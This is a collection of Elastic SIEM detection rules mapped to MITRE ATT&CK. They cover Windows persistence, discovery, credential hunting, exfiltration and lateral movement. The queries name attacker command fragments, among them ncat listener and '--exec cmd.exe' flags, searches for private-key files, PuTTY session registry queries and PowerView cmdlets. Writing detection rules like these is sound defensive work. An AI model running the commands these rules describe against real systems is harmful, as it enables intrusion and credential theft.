{"description":"Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"725a9768-0f5e-4cb3-aec2-bc5719c6831a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Where Execution","query":"(process.executable:*\\\\where.exe AND process.command_line:(*Bookmarks* OR *places.sqlite*))","meta":{"from":"1m"},"severity":"low","tags":["T1217"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1217","name":"Browser Bookmark Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9078ec28-ee5e-de72-a5c1-8f4000748e5c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"New Shim Database Created in the Default Directory","query":"(file.path:*.sdb AND file.path:*\\\\Windows\\\\apppatch\\\\Custom\\\\*)","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"33fb96b2-74bd-3ae5-7524-8ca71b9494b6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Registry Key Creation or Modification for Shim DataBase","query":"((winlog.event_data.TargetObject:(HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\InstalledSDB\\\\* OR HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Custom\\\\*) AND winlog.event_data.EventType:\"SetValue\") AND (NOT (winlog.event_data.Details:\"\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f690f572-accb-5b36-73c4-ed5f19dce195","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Screensaver Binary File Creation","query":"(file.path:*.scr AND (NOT ((process.executable:(*\\\\Kindle.exe OR *\\\\Bin\\\\ccSvcHst.exe)))))","meta":{"from":"1m"},"severity":"medium","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n Author: frack113. License: ","enabled":false,"false_positives":["GPO"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bcfc4586-0aa5-336b-4d6d-17d5acbf9fae","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious ScreenSave Change by Reg.exe","query":"(process.executable:*reg.exe AND process.command_line:(*HKEY_CURRENT_USER\\\\Control\\ Panel\\\\Desktop* OR *HKCU\\\\Control\\ Panel\\\\Desktop*) AND process.command_line:*\\/t\\ REG_SZ* AND process.command_line:*\\/f* AND ((process.command_line:*\\/v\\ ScreenSaveActive* AND process.command_line:*\\/d\\ 1*) OR (process.command_line:*\\/v\\ ScreenSaveTimeout* AND process.command_line:*\\/d\\ *) OR (process.command_line:*\\/v\\ ScreenSaverIsSecure* AND process.command_line:*\\/d\\ 0*) OR (process.command_line:*\\/v\\ SCRNSAVE.EXE* AND process.command_line:*\\/d\\ * AND process.command_line:*.scr*)))","meta":{"from":"1m"},"severity":"medium","tags":["Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9b0b7ac3-6223-47aa-a3fd-e8f211e637db","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Service ImagePath Change with Reg.exe","query":"(process.executable:*\\\\reg.exe AND process.command_line:*add\\ * AND process.command_line:*HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\* AND process.command_line:*\\/v\\ * AND process.command_line:*ImagePath\\ * AND process.command_line:*\\/d\\ *)","meta":{"from":"1m"},"severity":"medium","tags":["T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\nAdversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. \n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"12aa4345-6cfc-9ad8-7eb9-546c8399289b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Creation Exe for Service with Unquoted Path","query":"file.path:\"C\\:\\\\program.exe\"","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Author: oscd.community, @redcanary, Zach Stanford @svch0st. License: ","enabled":false,"false_positives":["Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"46591fae-7a4c-46ea-aec3-dff5e6d785dc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Root Certificate Installed","query":"(process.command_line:*root* AND ((process.executable:*\\\\certutil.exe AND process.command_line:*\\-addstore*) OR (process.executable:*\\\\CertMgr.exe AND process.command_line:*\\/add*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1553"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1553","name":"Subvert Trust Controls","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. Author: Timur Zinniatullin, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"970007b7-ce32-49d0-a4a4-fbef016950bd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Query Registry","query":"(process.executable:*\\\\reg.exe AND process.command_line:(*query* OR *save* OR *export*) AND process.command_line:(*currentVersion\\\\windows* OR *currentVersion\\\\runServicesOnce* OR *currentVersion\\\\runServices* OR *winlogon\\\\* OR *currentVersion\\\\shellServiceObjectDelayLoad* OR *currentVersion\\\\runOnce* OR *currentVersion\\\\runOnceEx* OR *currentVersion\\\\run* OR *currentVersion\\\\policies\\\\explorer\\\\run* OR *currentcontrolset\\\\services*))","meta":{"from":"1m"},"severity":"low","tags":["T1007","T1012"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1007","name":"System Service Discovery","reference":""},{"id":"T1012","name":"Query Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems Author: frack113. License: ","enabled":false,"false_positives":["administrator, hotline ask to user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0e4164da-94bc-450d-a7be-a4b176179f1f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Netsh Discovery Command","query":"(process.command_line:*netsh\\ * AND process.command_line:*advfirewall\\ * AND process.command_line:*firewall\\ * AND process.command_line:*show\\ * AND process.command_line:*rule\\ * AND process.command_line:*name\\=all*)","meta":{"from":"1m"},"severity":"low","tags":["T1016"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1016","name":"System Network Configuration Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems Author: frack113. License: ","enabled":false,"false_positives":["administrator, hotline ask to user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a29c1813-ab1f-4dde-b489-330b952e91ae","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Network Command","query":"process.command_line:(*ipconfig\\ \\/all* OR *netsh\\ interface\\ show\\ interface* OR *arp\\ \\-a* OR *nbtstat\\ \\-n* OR *net\\ config*)","meta":{"from":"1m"},"severity":"low","tags":["T1016"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1016","name":"System Network Configuration Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems Author: frack113. License: ","enabled":false,"false_positives":["pentest"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b2317cfa-4a47-4ead-b3ff-297438c0bc2d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Execution of SharpView Aka PowerView","query":"(winlog.event_data.OriginalFileName:\"SharpView.exe\" OR process.command_line:(*Get\\-DomainGPOUserLocalGroupMapping* OR *Find\\-GPOLocation* OR *Get\\-DomainGPOComputerLocalGroupMapping* OR *Find\\-GPOComputerAdmin* OR *Get\\-DomainObjectAcl* OR *Get\\-ObjectAcl* OR *Add\\-DomainObjectAcl* OR *Add\\-ObjectAcl* OR *Remove\\-DomainObjectAcl* OR *Get\\-RegLoggedOn* OR *Get\\-LoggedOnLocal* OR *Get\\-NetRDPSession* OR *Test\\-AdminAccess* OR *Invoke\\-CheckLocalAdminAccess* OR *Get\\-WMIProcess* OR *Get\\-NetProcess* OR *Get\\-WMIRegProxy* OR *Get\\-Proxy* OR *Get\\-WMIRegLastLoggedOn* OR *Get\\-LastLoggedOn* OR *Get\\-WMIRegCachedRDPConnection* OR *Get\\-CachedRDPConnection* OR *Get\\-WMIRegMountedDrive* OR *Get\\-RegistryMountedDrive* OR *Find\\-InterestingDomainAcl* OR *Invoke\\-ACLScanner* OR *Get\\-NetShare* OR *Get\\-NetLoggedon* OR *Get\\-NetLocalGroup* OR *Get\\-NetLocalGroupMember* OR *Get\\-NetSession* OR *Get\\-PathAcl* OR *ConvertFrom\\-UACValue* OR *Get\\-PrincipalContext* OR *New\\-DomainGroup* OR *New\\-DomainUser* OR *Add\\-DomainGroupMember* OR *Set\\-DomainUserPassword* OR *Invoke\\-Kerberoast* OR *Export\\-PowerViewCSV* OR *Find\\-LocalAdminAccess* OR *Find\\-DomainLocalGroupMember* OR *Find\\-DomainShare* OR *Find\\-DomainUserEvent* OR *Find\\-DomainProcess* OR *Find\\-DomainUserLocation* OR *Find\\-InterestingFile* OR *Find\\-InterestingDomainShareFile* OR *Find\\-DomainObjectPropertyOutlier* OR *TestMethod* OR *Get\\-Domain* OR *Get\\-NetDomain* OR *Get\\-DomainComputer* OR *Get\\-NetComputer* OR *Get\\-DomainController* OR *Get\\-NetDomainController* OR *Get\\-DomainFileServer* OR *Get\\-NetFileServer* OR *Convert\\-ADName* OR *Get\\-DomainObject* OR *Get\\-ADObject* OR *Get\\-DomainUser* OR *Get\\-NetUser* OR *Get\\-DomainGroup* OR *Get\\-NetGroup* OR *Get\\-DomainDFSShare* OR *Get\\-DFSshare* OR *Get\\-DomainDNSRecord* OR *Get\\-DNSRecord* OR *Get\\-DomainDNSZone* OR *Get\\-DNSZone* OR *Get\\-DomainForeignGroupMember* OR *Find\\-ForeignGroup* OR *Get\\-DomainForeignUser* OR *Find\\-ForeignUser* OR *ConvertFrom\\-SID* OR *Convert\\-SidToName* OR *Get\\-DomainGroupMember* OR *Get\\-NetGroupMember* OR *Get\\-DomainManagedSecurityGroup* OR *Find\\-ManagedSecurityGroups* OR *Get\\-DomainOU* OR *Get\\-NetOU* OR *Get\\-DomainSID* OR *Get\\-Forest* OR *Get\\-NetForest* OR *Get\\-ForestTrust* OR *Get\\-NetForestTrust* OR *Get\\-DomainTrust* OR *Get\\-NetDomainTrust* OR *Get\\-ForestDomain* OR *Get\\-NetForestDomain* OR *Get\\-DomainSite* OR *Get\\-NetSite* OR *Get\\-DomainSubnet* OR *Get\\-NetSubnet* OR *Get\\-DomainTrustMapping* OR *Invoke\\-MapDomainTrust* OR *Get\\-ForestGlobalCatalog* OR *Get\\-NetForestCatalog* OR *Get\\-DomainUserEvent* OR *Get\\-UserEvent* OR *Get\\-DomainGUIDMap* OR *Get\\-GUIDMap* OR *Resolve\\-IPAddress* OR *Get\\-IPAddress* OR *ConvertTo\\-SID* OR *Invoke\\-UserImpersonation* OR *Invoke\\-RevertToSelf* OR *Get\\-DomainSPNTicket* OR *Request\\-SPNTicket* OR *Get\\-NetComputerSiteName* OR *Get\\-SiteName* OR *Get\\-DomainGPO* OR *Get\\-NetGPO* OR *Set\\-DomainObject* OR *Set\\-ADObject* OR *Add\\-RemoteConnection* OR *Remove\\-RemoteConnection* OR *Get\\-IniContent* OR *Get\\-GptTmpl* OR *Get\\-GroupsXML* OR *Get\\-DomainPolicyData* OR *Get\\-DomainPolicy* OR *Get\\-DomainGPOLocalGroup* OR *Get\\-NetGPOGroup*))","meta":{"from":"1m"},"severity":"high","tags":["T1033","T1049","T1069","T1135","T1482"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1033","name":"System Owner/User Discovery","reference":""},{"id":"T1049","name":"System Network Connections Discovery","reference":""},{"id":"T1069","name":"Permission Groups Discovery","reference":""},{"id":"T1135","name":"Network Share Discovery","reference":""},{"id":"T1482","name":"Domain Trust Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may search for private key certificate files on compromised systems for insecurely stored credential Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b0a533fe-7690-3418-bbd9-f40d44a9d7ba","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Discover Private Keys","query":"(process.command_line:(*dir\\ * OR *findstr\\ *) AND process.command_line:(*.key* OR *.pgp* OR *.gpg* OR *.ppk* OR *.p12* OR *.pem* OR *.pfx* OR *.cer* OR *.p7b* OR *.asc*))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1552","name":"Unsecured Credentials","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may search the Registry on compromised systems for insecurely stored credentials.\nThe Windows Registry stores configuration information that can be used by the system or other programs.\nAdversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services\n Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e0b0c2ab-3d52-46d9-8cb7-049dc775fbd1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Enumeration for Credentials in Registry","query":"((process.executable:*\\\\reg.exe AND process.command_line:*\\ query\\ * AND process.command_line:*\\/t\\ * AND process.command_line:*REG_SZ* AND process.command_line:*\\/s*) AND ((process.command_line:*\\/f\\ * AND process.command_line:*HKLM*) OR (process.command_line:*\\/f\\ * AND process.command_line:*HKCU*) OR process.command_line:*HKCU\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions*))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1552","name":"Unsecured Credentials","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Author: Igor Fits, Mikhail Larin, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"40b1fbe2-18ea-4ee7-be47-0294285811de","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"System Shutdown/Reboot","query":"process.executable:(*\\/shutdown OR *\\/reboot OR *\\/halt)","meta":{"from":"1m"},"severity":"low","tags":["T1529"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1529","name":"System Shutdown/Reboot","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server. \n Author: frack113. License: ","enabled":false,"false_positives":["Other SMTP tools"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"eff2a697-07ce-8ab8-4351-29dbe0eb32dc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Outbound SMTP Connections","query":"((destination.port:(\"25\" OR \"587\" OR \"465\" OR \"2525\") AND winlog.event_data.Initiated:\"true\") AND (NOT ((process.executable:(*\\\\thunderbird.exe OR *\\\\outlook.exe)) OR (process.executable:C\\:\\\\Program\\ Files\\\\Microsoft\\\\Exchange\\ Server\\\\*))))","meta":{"from":"1m"},"severity":"medium","tags":["T1048"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1048","name":"Exfiltration Over Alternative Protocol","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9ac94dc8-9042-493c-ba45-3b5e7c86b980","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Disable Important Scheduled Task","query":"(process.executable:*\\\\schtasks.exe AND process.command_line:*\\/Change* AND process.command_line:*\\/TN* AND process.command_line:*\\/disable* AND process.command_line:*\\\\Microsoft\\\\Windows\\\\SystemRestore\\\\SR*)","meta":{"from":"1m"},"severity":"high","tags":["T1489"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1489","name":"Service Stop","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"86085955-ea48-42a2-9dd3-85d4c36b167d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Execution of Taskkill","query":"(process.executable:*\\\\taskkill.exe AND process.command_line:*\\/f* AND process.command_line:*\\/im*)","meta":{"from":"1m"},"severity":"low","tags":["T1489"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1489","name":"Service Stop","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may try to get information about registered services Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"57712d7a-679c-4a41-a913-87e7175ae429","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Sc Query","query":"process.command_line:*sc\\ query*","meta":{"from":"1m"},"severity":"low","tags":["T1007"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1007","name":"System Service Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network Author: frack113. License: ","enabled":false,"false_positives":["Legitimate ncat use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"89180d45-b31c-68f8-d186-47a26608293a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Ncat Execution","query":"(process.executable:*\\\\ncat.exe OR process.command_line:(*\\ \\-lvp\\ * OR *\\ \\-l\\ \\-\\-proxy\\-type\\ http\\ * OR *\\ \\-\\-exec\\ cmd.exe\\ * OR *\\ \\-vnl\\ \\-\\-exec\\ *))","meta":{"from":"1m"},"severity":"high","tags":["T1095"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file. Author: Igor Fits, Mikhail Larin, oscd.community. License: ","enabled":false,"false_positives":["Legitimate script work"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"95361ce5-c891-4b0a-87ca-e24607884a96","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Binary Padding","query":"((process.executable:*\\/truncate AND process.command_line:*\\-s*) OR ((process.executable:*\\/dd AND process.command_line:*if\\=*) AND (NOT (process.command_line:*of\\=*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"55099a55-1aa7-07e8-9869-730f4c89f6df","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Execute From Alternate Data Streams","query":"(process.command_line:*txt\\:* AND ((process.command_line:*type\\ * AND process.command_line:*\\ >\\ *) OR (process.command_line:*makecab\\ * AND process.command_line:*.cab*) OR (process.command_line:*reg\\ * AND process.command_line:*\\ export\\ *) OR (process.command_line:*regedit\\ * AND process.command_line:*\\ \\/E\\ *) OR (process.command_line:*esentutl\\ * AND process.command_line:*\\ \\/y\\ * AND process.command_line:*\\ \\/d\\ * AND process.command_line:*\\ \\/o\\ *)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.\nA port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0ea10bbc-fdfd-a394-fea9-e0f27759ba2a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Add Port Monitor Persistence in Registry","query":"((winlog.event_data.TargetObject:HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors\\\\* AND winlog.event_data.Details:*.dll AND winlog.event_data.EventType:\"SetValue\") AND (NOT ((process.executable:\"C\\:\\\\Windows\\\\System32\\\\spoolsv.exe\" AND winlog.event_data.TargetObject:*\\\\System\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors\\\\CutePDF\\ Writer\\ Monitor\\ v4.0\\\\Driver* AND winlog.event_data.Details:\"cpwmon64_v40.dll\" AND user.name:(*AUTHORI* OR *AUTORI*)))))","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. Author: frack113. License: ","enabled":false,"false_positives":["Unknow"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a197e378-d31b-41c0-9635-cfdf1c1bb423","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"WinRM Access with Evil-WinRM","query":"(process.executable:*\\\\ruby.exe AND process.command_line:*\\-i\\ * AND process.command_line:*\\-u\\ * AND process.command_line:*\\-p\\ *)","meta":{"from":"1m"},"severity":"medium","tags":["Lateral Movement","T1021"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. Author: frack113. License: ","enabled":false,"false_positives":["Unknow"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"954f0af7-62dd-418f-b3df-a84bc2c7a774","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Remote Desktop Protocol Use Mstsc","query":"((process.executable:*\\\\mstsc.exe AND process.command_line:*\\ \\/v\\:*) OR (process.executable:*\\\\cmdkey.exe AND process.command_line:*\\/generic\\:* AND process.command_line:*\\/user\\:* AND process.command_line:*\\/pass\\:*))","meta":{"from":"1m"},"severity":"medium","tags":["Lateral Movement","T1021"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Alerts on trust record modification within the registry, indicating usage of macros Author: Antonlovesdnb. License: ","enabled":false,"false_positives":["Alerts on legitimate macro usage as well, will need to filter as appropriate"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"69cf6f26-5c32-48fc-73bc-abcfecad3e6e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Windows Registry Trust Record Modification","query":"winlog.event_data.TargetObject:*TrustRecords*","meta":{"from":"1m"},"severity":"medium","tags":["Initial Access","T1566"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1566","name":"Phishing","reference":""}]}],"version":1,"references":[""]}
